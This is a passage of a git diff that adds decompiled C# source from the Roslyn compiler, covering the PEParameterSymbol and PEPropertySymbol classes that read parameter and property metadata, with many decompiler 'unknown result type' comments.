result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return Create(moduleSymbol, containingSymbol, isContainingSymbolVirtual, ordinal, parameterInfo.IsByRef, parameterInfo.RefCustomModifiers, parameterInfo.Type, parameterInfo.Handle, nullableContext, parameterInfo.CustomModifiers, isReturn, out isBad); + } + + internal static PEParameterSymbol Create(PEModuleSymbol moduleSymbol, PEPropertySymbol containingSymbol, bool isContainingSymbolVirtual, int ordinal, ParameterHandle handle, ParamInfo parameterInfo, Symbol nullableContext, out bool isBad) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return Create(moduleSymbol, containingSymbol, isContainingSymbolVirtual, ordinal, parameterInfo.IsByRef, parameterInfo.RefCustomModifiers, parameterInfo.Type, handle, nullableContext, parameterInfo.CustomModifiers, isReturn: false, out isBad); + } + + private PEParameterSymbol(PEModuleSymbol moduleSymbol, Symbol containingSymbol, int ordinal, bool isByRef, TypeWithAnnotations typeWithAnnotations, ParameterHandle handle, Symbol nullableContext, int countOfCustomModifiers, bool isReturn, out bool isBad) + { + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Invalid comparison between Unknown and I4 + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a9: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0258: Unknown result type (might be due to invalid IL or missing references) + //IL_0261: Unknown result type (might be due to invalid IL or missing references) + //IL_0228: Unknown result type (might be due to invalid IL or missing references) + //IL_01dd: Unknown result type (might be due to invalid IL or missing references) + //IL_0231: Unknown result type (might be due to invalid IL or missing references) + //IL_0202: Unknown result type (might be due to invalid IL or missing references) + //IL_0214: Unknown result type (might be due to invalid IL or missing references) + isBad = false; + _moduleSymbol = moduleSymbol; + _containingSymbol = containingSymbol; + _ordinal = (ushort)ordinal; + _handle = handle; + RefKind val = (RefKind)0; + ScopedKind scope = (ScopedKind)0; + bool flag = false; + if (handle.IsNil) + { + val = (RefKind)(isByRef ? 1 : 0); + byte? nullableContextValue = nullableContext.GetNullableContextValue(); + if (nullableContextValue.HasValue) + { + typeWithAnnotations = NullableTypeDecoder.TransformType(typeWithAnnotations, nullableContextValue.GetValueOrDefault(), default(ImmutableArray)); + } + _lazyCustomAttributes = ImmutableArray.Empty; + _lazyHiddenAttributes = ImmutableArray.Empty; + _lazyDefaultValue = null; + _lazyIsParams = (ThreeState)1; + } + else + { + try + { + moduleSymbol.Module.GetParamPropsOrThrow(handle, ref _name, ref _flags); + } + catch (BadImageFormatException) + { + isBad = true; + } + if (isByRef) + { + val = (((_flags & (ParameterAttributes.In | ParameterAttributes.Out)) == ParameterAttributes.Out) ? ((RefKind)2) : ((!isReturn && moduleSymbol.Module.HasRequiresLocationAttribute((EntityHandle)handle)) ? ((RefKind)4) : ((!moduleSymbol.Module.HasIsReadOnlyAttribute((EntityHandle)handle)) ? ((RefKind)1) : ((RefKind)3)))); + } + TypeSymbol type = DynamicTypeDecoder.TransformType(typeWithAnnotations.Type, countOfCustomModifiers, handle, moduleSymbol, val); + type = NativeIntegerTypeDecoder.TransformType(type, handle, moduleSymbol, containingSymbol.ContainingType); + typeWithAnnotations = typeWithAnnotations.WithTypeAndModifiers(type, typeWithAnnotations.CustomModifiers); + Symbol accessSymbol = (((int)containingSymbol.Kind == 15) ? containingSymbol.ContainingSymbol : containingSymbol); + typeWithAnnotations = NullableTypeDecoder.TransformType(typeWithAnnotations, handle, moduleSymbol, accessSymbol, nullableContext); + typeWithAnnotations = TupleTypeDecoder.DecodeTupleTypesIfApplicable(typeWithAnnotations, handle, moduleSymbol); + flag = _moduleSymbol.Module.HasUnscopedRefAttribute((EntityHandle)_handle); + if (flag) + { + if (_moduleSymbol.Module.HasScopedRefAttribute((EntityHandle)_handle)) + { + isBad = true; + } + scope = (ScopedKind)0; + } + else if (_moduleSymbol.Module.HasScopedRefAttribute((EntityHandle)_handle)) + { + if (isByRef) + { + scope = (ScopedKind)1; + } + else if (typeWithAnnotations.Type.IsRefLikeType) + { + scope = (ScopedKind)2; + } + else + { + isBad = true; + } + } + else if (ParameterHelpers.IsRefScopedByDefault(_moduleSymbol.UseUpdatedEscapeRules, val)) + { + scope = (ScopedKind)1; + } + } + _typeWithAnnotations = typeWithAnnotations; + bool flag2 = !string.IsNullOrEmpty(_name); + if (!flag2) + { + _name = "value"; + } + _packedFlags = new PackedFlags(val, handle.IsNil, flag2, scope, flag); + } + + private static PEParameterSymbol Create(PEModuleSymbol moduleSymbol, Symbol containingSymbol, bool isContainingSymbolVirtual, int ordinal, bool isByRef, ImmutableArray> refCustomModifiers, TypeSymbol type, ParameterHandle handle, Symbol nullableContext, ImmutableArray> customModifiers, bool isReturn, out bool isBad) + { + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Invalid comparison between Unknown and I4 + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations.Create(type, NullableAnnotation.Oblivious, CSharpCustomModifier.Convert(customModifiers)); + PEParameterSymbol pEParameterSymbol = ((customModifiers.IsDefaultOrEmpty && refCustomModifiers.IsDefaultOrEmpty) ? new PEParameterSymbol(moduleSymbol, containingSymbol, ordinal, isByRef, typeWithAnnotations, handle, nullableContext, 0, isReturn, out isBad) : new PEParameterSymbolWithCustomModifiers(moduleSymbol, containingSymbol, ordinal, isByRef, refCustomModifiers, typeWithAnnotations, handle, nullableContext, isReturn, out isBad)); + bool flag = pEParameterSymbol.RefCustomModifiers.HasInAttributeModifier(); + if (isReturn) + { + isBad |= (int)pEParameterSymbol.RefKind == 3 != flag; + } + else + { + RefKind refKind = pEParameterSymbol.RefKind; + if (refKind - 3 <= 1) + { + isBad |= isContainingSymbolVirtual != flag; + } + else if (flag) + { + isBad = true; + } + } + return pEParameterSymbol; + } + + internal ConstantValue? ImportConstantValue(bool ignoreAttributes = false) + { + ConstantValue val = null; + if ((_flags & ParameterAttributes.HasDefault) != ParameterAttributes.None) + { + val = _moduleSymbol.Module.GetParamDefaultValue(_handle); + } + if (val == (ConstantValue)null && !ignoreAttributes) + { + val = GetDefaultDecimalOrDateTimeValue(); + } + return val; + } + + private ConstantValue? GetDefaultDecimalOrDateTimeValue() + { + ConstantValue result = null; + if (_moduleSymbol.Module.HasDateTimeConstantAttribute((EntityHandle)_handle, ref result)) + { + return result; + } + _moduleSymbol.Module.HasDecimalConstantAttribute((EntityHandle)_handle, ref result); + return result; + } + + private static FlowAnalysisAnnotations DecodeFlowAnalysisAttributes(PEModule module, ParameterHandle handle) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + FlowAnalysisAnnotations flowAnalysisAnnotations = FlowAnalysisAnnotations.None; + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.AllowNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.AllowNull; + } + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.DisallowNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.DisallowNull; + } + bool flag = default(bool); + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.MaybeNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.MaybeNull; + } + else if (module.HasMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute((EntityHandle)handle, AttributeDescription.MaybeNullWhenAttribute, ref flag)) + { + flowAnalysisAnnotations = (FlowAnalysisAnnotations)((int)flowAnalysisAnnotations | (flag ? 4 : 8)); + } + bool flag2 = default(bool); + if (module.HasAttribute((EntityHandle)handle, AttributeDescription.NotNullAttribute)) + { + flowAnalysisAnnotations |= FlowAnalysisAnnotations.NotNull; + } + else if (module.HasMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute((EntityHandle)handle, AttributeDescription.NotNullWhenAttribute, ref flag2)) + { + flowAnalysisAnnotations = (FlowAnalysisAnnotations)((int)flowAnalysisAnnotations | (flag2 ? 16 : 32)); + } + bool flag3 = default(bool); + if (module.HasMaybeNullWhenOrNotNullWhenOrDoesNotReturnIfAttribute((EntityHandle)handle, AttributeDescription.DoesNotReturnIfAttribute, ref flag3)) + { + flowAnalysisAnnotations = (FlowAnalysisAnnotations)((int)flowAnalysisAnnotations | (flag3 ? 128 : 64)); + } + return flowAnalysisAnnotations; + } + + private void EnsureInterpolatedStringHandlerArgumentAttributeDecoded() + { + ImmutableArray lazyInterpolatedStringHandlerAttributeIndexes = _lazyInterpolatedStringHandlerAttributeIndexes; + if (lazyInterpolatedStringHandlerAttributeIndexes == s_defaultStringHandlerAttributeIndexes) + { + lazyInterpolatedStringHandlerAttributeIndexes = DecodeInterpolatedStringHandlerArgumentAttribute(); + ImmutableInterlocked.InterlockedCompareExchange(ref _lazyInterpolatedStringHandlerAttributeIndexes, lazyInterpolatedStringHandlerAttributeIndexes, s_defaultStringHandlerAttributeIndexes); + } + } + + private ImmutableArray DecodeInterpolatedStringHandlerArgumentAttribute() + { + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Invalid comparison between Unknown and I4 + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e5: Invalid comparison between Unknown and I4 + ValueTuple, bool> interpolatedStringHandlerArgumentAttributeValues = _moduleSymbol.Module.GetInterpolatedStringHandlerArgumentAttributeValues((EntityHandle)_handle); + var (immutableArray, _) = interpolatedStringHandlerArgumentAttributeValues; + if (!interpolatedStringHandlerArgumentAttributeValues.Item2) + { + return ImmutableArray.Empty; + } + if (immutableArray.IsDefault || !(base.Type is NamedTypeSymbol { IsInterpolatedStringHandlerType: not false })) + { + return default(ImmutableArray); + } + if (immutableArray.IsEmpty) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(immutableArray.Length); + ImmutableArray parameters = ContainingSymbol.GetParameters(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + string text = current; + if (text != null) + { + if (!(text == "")) + { + ParameterSymbol parameterSymbol = ImmutableArrayExtensions.FirstOrDefault(parameters, (Func)((ParameterSymbol p, string name) => string.Equals(p.Name, name, StringComparison.Ordinal)), current); + if ((object)parameterSymbol != null && (object)parameterSymbol != this) + { + instance.Add(parameterSymbol.Ordinal); + continue; + } + instance.Free(); + return default(ImmutableArray); + } + bool flag = !ContainingSymbol.RequiresInstanceReceiver(); + if (!flag) + { + bool flag2 = ((ContainingSymbol is MethodSymbol { MethodKind: var methodKind } && ((int)methodKind == 1 || (int)methodKind == 3)) ? true : false); + flag = flag2; + } + if (!flag) + { + instance.Add(-1); + continue; + } + } + instance.Free(); + return default(ImmutableArray); + } + return instance.ToImmutableAndFree(); + } + + public override ImmutableArray GetAttributes() + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Invalid comparison between Unknown and I4 + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Invalid comparison between Unknown and I4 + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Invalid comparison between Unknown and I4 + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributes.IsDefault) + { + PEModuleSymbol pEModuleSymbol = (PEModuleSymbol)ContainingModule; + bool flag = !ThreeStateHelpers.HasValue(_lazyIsParams) || ThreeStateHelpers.Value(_lazyIsParams); + ConstantValue explicitDefaultConstantValue = ExplicitDefaultConstantValue; + AttributeDescription filterOut = default(AttributeDescription); + if (explicitDefaultConstantValue != null) + { + if ((int)explicitDefaultConstantValue.Discriminator == 18) + { + filterOut = AttributeDescription.DateTimeConstantAttribute; + } + else if ((int)explicitDefaultConstantValue.Discriminator == 17) + { + filterOut = AttributeDescription.DecimalConstantAttribute; + } + } + bool flag2 = (int)RefKind == 3; + bool flag3 = (int)RefKind == 4; + CustomAttributeHandle filteredOutAttribute; + CustomAttributeHandle filteredOutAttribute2; + CustomAttributeHandle filteredOutAttribute3; + CustomAttributeHandle filteredOutAttribute4; + CustomAttributeHandle filteredOutAttribute5; + CustomAttributeHandle filteredOutAttribute6; + ImmutableArray customAttributesForToken = pEModuleSymbol.GetCustomAttributesForToken(_handle, out filteredOutAttribute, (AttributeDescription)(flag ? AttributeDescription.ParamArrayAttribute : default(AttributeDescription)), out filteredOutAttribute2, filterOut, out filteredOutAttribute3, (AttributeDescription)(flag2 ? AttributeDescription.IsReadOnlyAttribute : default(AttributeDescription)), out filteredOutAttribute4, (AttributeDescription)(flag3 ? AttributeDescription.RequiresLocationAttribute : default(AttributeDescription)), out filteredOutAttribute5, AttributeDescription.ScopedRefAttribute, out filteredOutAttribute6, default(AttributeDescription)); + if (!filteredOutAttribute.IsNil || !filteredOutAttribute2.IsNil) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (!filteredOutAttribute.IsNil) + { + instance.Add((CSharpAttributeData)new PEAttributeData(pEModuleSymbol, filteredOutAttribute)); + } + if (!filteredOutAttribute2.IsNil) + { + instance.Add((CSharpAttributeData)new PEAttributeData(pEModuleSymbol, filteredOutAttribute2)); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyHiddenAttributes, instance.ToImmutableAndFree()); + } + else + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyHiddenAttributes, ImmutableArray.Empty); + } + if (!ThreeStateHelpers.HasValue(_lazyIsParams)) + { + _lazyIsParams = ThreeStateHelpers.ToThreeState(!filteredOutAttribute.IsNil); + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyCustomAttributes, customAttributesForToken); + } + return _lazyCustomAttributes; + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + ImmutableArray.Enumerator enumerator = GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + enumerator = _lazyHiddenAttributes.GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current; + } + } + + public sealed override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (!(other is NativeIntegerParameterSymbol nativeIntegerParameterSymbol)) + { + return base.Equals(other, compareKind); + } + return nativeIntegerParameterSymbol.Equals(this, compareKind); + } + + internal DiagnosticInfo? DeriveCompilerFeatureRequiredDiagnostic(MetadataDecoder decoder) + { + return PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, (PEModuleSymbol)ContainingModule, Handle, (CompilerFeatureRequiredFeatures)0, decoder); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEPropertySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEPropertySymbol.cs new file mode 100644 index 0000000..2b12c9b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEPropertySymbol.cs @@ -0,0 +1,719 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.DocumentationComments; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal class PEPropertySymbol : PropertySymbol +{ + private struct PackedFlags(bool isSpecialName, bool isRuntimeSpecialName, bool callMethodsDirectly) + { + private const int IsSpecialNameFlag = 1; + + private const int IsRuntimeSpecialNameFlag = 2; + + private const int CallMethodsDirectlyFlag = 4; + + private const int HasRequiredMemberAttribute = 16; + + private const int RequiredMemberCompletionBit = 32; + + private const int HasUnscopedRefAttribute = 64; + + private const int UnscopedRefCompletionBit = 128; + + private int _bits = (int)((isSpecialName ? 1u : 0u) | (uint)(isRuntimeSpecialName ? 2 : 0)) | (callMethodsDirectly ? 4 : 0); + + public bool IsSpecialName => (_bits & 1) != 0; + + public bool IsRuntimeSpecialName => (_bits & 2) != 0; + + public bool CallMethodsDirectly => (_bits & 4) != 0; + + public void SetHasRequiredMemberAttribute(bool isRequired) + { + int num = (isRequired ? 16 : 0) | 0x20; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public bool TryGetHasRequiredMemberAttribute(out bool hasRequiredMemberAttribute) + { + if ((_bits & 0x20) != 0) + { + hasRequiredMemberAttribute = (_bits & 0x10) != 0; + return true; + } + hasRequiredMemberAttribute = false; + return false; + } + + public void SetHasUnscopedRefAttribute(bool unscopedRef) + { + int num = (unscopedRef ? 64 : 0) | 0x80; + ThreadSafeFlagOperations.Set(ref _bits, num); + } + + public bool TryGetHasUnscopedRefAttribute(out bool hasUnscopedRefAttribute) + { + if ((_bits & 0x80) != 0) + { + hasUnscopedRefAttribute = (_bits & 0x40) != 0; + return true; + } + hasUnscopedRefAttribute = false; + return false; + } + } + + private sealed class PEPropertySymbolWithCustomModifiers : PEPropertySymbol + { + private readonly ImmutableArray _refCustomModifiers; + + public override ImmutableArray RefCustomModifiers => _refCustomModifiers; + + public PEPropertySymbolWithCustomModifiers(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, PropertyDefinitionHandle handle, PEMethodSymbol getMethod, PEMethodSymbol setMethod, ParamInfo[] propertyParams, MetadataDecoder metadataDecoder) + : base(moduleSymbol, containingType, handle, getMethod, setMethod, propertyParams, metadataDecoder) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ParamInfo val = propertyParams[0]; + _refCustomModifiers = CSharpCustomModifier.Convert(val.RefCustomModifiers); + } + } + + private readonly string _name; + + private readonly PENamedTypeSymbol _containingType; + + private readonly PropertyDefinitionHandle _handle; + + private readonly ImmutableArray _parameters; + + private readonly RefKind _refKind; + + private readonly TypeWithAnnotations _propertyTypeWithAnnotations; + + private readonly PEMethodSymbol _getMethod; + + private readonly PEMethodSymbol _setMethod; + + private ImmutableArray _lazyCustomAttributes; + + private Tuple _lazyDocComment; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private ObsoleteAttributeData _lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + private const int UnsetAccessibility = -1; + + private int _declaredAccessibility = -1; + + private PackedFlags _flags; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override string Name + { + get + { + if (!IsIndexer) + { + return _name; + } + return "this[]"; + } + } + + internal override bool HasSpecialName => _flags.IsSpecialName; + + public override string MetadataName => _name; + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal PropertyDefinitionHandle Handle => _handle; + + public override Accessibility DeclaredAccessibility + { + get + { + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Expected I4, but got Unknown + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Invalid comparison between Unknown and I4 + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Invalid comparison between Unknown and I4 + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + if (_declaredAccessibility == -1) + { + Accessibility declaredAccessibilityFromAccessors; + if (IsOverride) + { + bool flag = false; + Accessibility val = (Accessibility)0; + Accessibility val2 = (Accessibility)0; + PropertySymbol propertySymbol = this; + while (true) + { + if ((int)val == 0) + { + MethodSymbol getMethod = propertySymbol.GetMethod; + if ((object)getMethod != null) + { + Accessibility declaredAccessibility = getMethod.DeclaredAccessibility; + val = (Accessibility)(((int)declaredAccessibility == 5 && flag) ? 3 : ((int)declaredAccessibility)); + } + } + if ((int)val2 == 0) + { + MethodSymbol setMethod = propertySymbol.SetMethod; + if ((object)setMethod != null) + { + Accessibility declaredAccessibility2 = setMethod.DeclaredAccessibility; + val2 = (Accessibility)(((int)declaredAccessibility2 == 5 && flag) ? 3 : ((int)declaredAccessibility2)); + } + } + if ((int)val != 0 && (int)val2 != 0) + { + break; + } + PropertySymbol overriddenProperty = propertySymbol.OverriddenProperty; + if ((object)overriddenProperty == null) + { + break; + } + if (!flag && !propertySymbol.ContainingAssembly.HasInternalAccessTo(overriddenProperty.ContainingAssembly)) + { + flag = true; + } + propertySymbol = overriddenProperty; + } + declaredAccessibilityFromAccessors = PEPropertyOrEventHelpers.GetDeclaredAccessibilityFromAccessors(val, val2); + } + else + { + declaredAccessibilityFromAccessors = PEPropertyOrEventHelpers.GetDeclaredAccessibilityFromAccessors(GetMethod, SetMethod); + } + Interlocked.CompareExchange(ref _declaredAccessibility, (int)declaredAccessibilityFromAccessors, -1); + } + return (Accessibility)_declaredAccessibility; + } + } + + public override bool IsExtern + { + get + { + if ((object)_getMethod == null || !_getMethod.IsExtern) + { + if ((object)_setMethod != null) + { + return _setMethod.IsExtern; + } + return false; + } + return true; + } + } + + public override bool IsAbstract + { + get + { + if ((object)_getMethod == null || !_getMethod.IsAbstract) + { + if ((object)_setMethod != null) + { + return _setMethod.IsAbstract; + } + return false; + } + return true; + } + } + + public override bool IsSealed + { + get + { + if ((object)_getMethod == null || _getMethod.IsSealed) + { + if ((object)_setMethod != null) + { + return _setMethod.IsSealed; + } + return true; + } + return false; + } + } + + public override bool IsVirtual + { + get + { + if (!IsOverride && !IsAbstract) + { + if ((object)_getMethod == null || !_getMethod.IsVirtual) + { + if ((object)_setMethod != null) + { + return _setMethod.IsVirtual; + } + return false; + } + return true; + } + return false; + } + } + + public override bool IsOverride + { + get + { + if ((object)_getMethod == null || !_getMethod.IsOverride) + { + if ((object)_setMethod != null) + { + return _setMethod.IsOverride; + } + return false; + } + return true; + } + } + + public override bool IsStatic + { + get + { + if ((object)_getMethod == null || _getMethod.IsStatic) + { + if ((object)_setMethod != null) + { + return _setMethod.IsStatic; + } + return true; + } + return false; + } + } + + internal override bool IsRequired + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (!_flags.TryGetHasRequiredMemberAttribute(out var hasRequiredMemberAttribute)) + { + hasRequiredMemberAttribute = ((PEModuleSymbol)ContainingModule).Module.HasAttribute((EntityHandle)_handle, AttributeDescription.RequiredMemberAttribute); + _flags.SetHasRequiredMemberAttribute(hasRequiredMemberAttribute); + } + return hasRequiredMemberAttribute; + } + } + + internal sealed override bool HasUnscopedRefAttribute + { + get + { + if (!_flags.TryGetHasUnscopedRefAttribute(out var hasUnscopedRefAttribute)) + { + hasUnscopedRefAttribute = ((PEModuleSymbol)ContainingModule).Module.HasUnscopedRefAttribute((EntityHandle)_handle); + _flags.SetHasUnscopedRefAttribute(hasUnscopedRefAttribute); + } + return hasUnscopedRefAttribute; + } + } + + public override ImmutableArray Parameters => _parameters; + + public override bool IsIndexer + { + get + { + if (base.ParameterCount > 0) + { + string defaultMemberName = _containingType.DefaultMemberName; + if (!(_name == defaultMemberName) && ((object)GetMethod == null || !(GetMethod.Name == defaultMemberName))) + { + if ((object)SetMethod != null) + { + return SetMethod.Name == defaultMemberName; + } + return false; + } + return true; + } + return false; + } + } + + public override bool IsIndexedProperty + { + get + { + if (base.ParameterCount > 0) + { + return _containingType.IsComImport; + } + return false; + } + } + + public override RefKind RefKind => _refKind; + + public override TypeWithAnnotations TypeWithAnnotations => _propertyTypeWithAnnotations; + + public override ImmutableArray RefCustomModifiers => ImmutableArray.Empty; + + public override MethodSymbol GetMethod => _getMethod; + + public override MethodSymbol SetMethod => _setMethod; + + internal override CallingConvention CallingConvention => (CallingConvention)((MetadataDecoder)new MetadataDecoder(_containingType.ContainingPEModule, _containingType)).GetSignatureHeaderForProperty(_handle).RawValue; + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(_containingType.ContainingPEModule.MetadataLocation); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (((object)_getMethod == null || _getMethod.ExplicitInterfaceImplementations.Length == 0) && ((object)_setMethod == null || _setMethod.ExplicitInterfaceImplementations.Length == 0)) + { + return ImmutableArray.Empty; + } + ISet propertiesForExplicitlyImplementedAccessor = PEPropertyOrEventHelpers.GetPropertiesForExplicitlyImplementedAccessor(_getMethod); + ISet propertiesForExplicitlyImplementedAccessor2 = PEPropertyOrEventHelpers.GetPropertiesForExplicitlyImplementedAccessor(_setMethod); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (PropertySymbol item in propertiesForExplicitlyImplementedAccessor) + { + if (!item.SetMethod.IsImplementable() || propertiesForExplicitlyImplementedAccessor2.Contains(item)) + { + instance.Add(item); + } + } + foreach (PropertySymbol item2 in propertiesForExplicitlyImplementedAccessor2) + { + if (!item2.GetMethod.IsImplementable()) + { + instance.Add(item2); + } + } + return instance.ToImmutableAndFree(); + } + } + + internal override bool MustCallMethodsDirectly => _flags.CallMethodsDirectly; + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + ObsoleteAttributeHelpers.InitializeObsoleteDataFromMetadata(ref _lazyObsoleteAttributeData, _handle, (PEModuleSymbol)ContainingModule, ignoreByRefLikeMarker: false, ignoreRequiredMemberMarker: false); + return _lazyObsoleteAttributeData; + } + } + + internal override bool HasRuntimeSpecialName => _flags.IsRuntimeSpecialName; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + internal static PEPropertySymbol Create(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, PropertyDefinitionHandle handle, PEMethodSymbol getMethod, PEMethodSymbol setMethod) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to 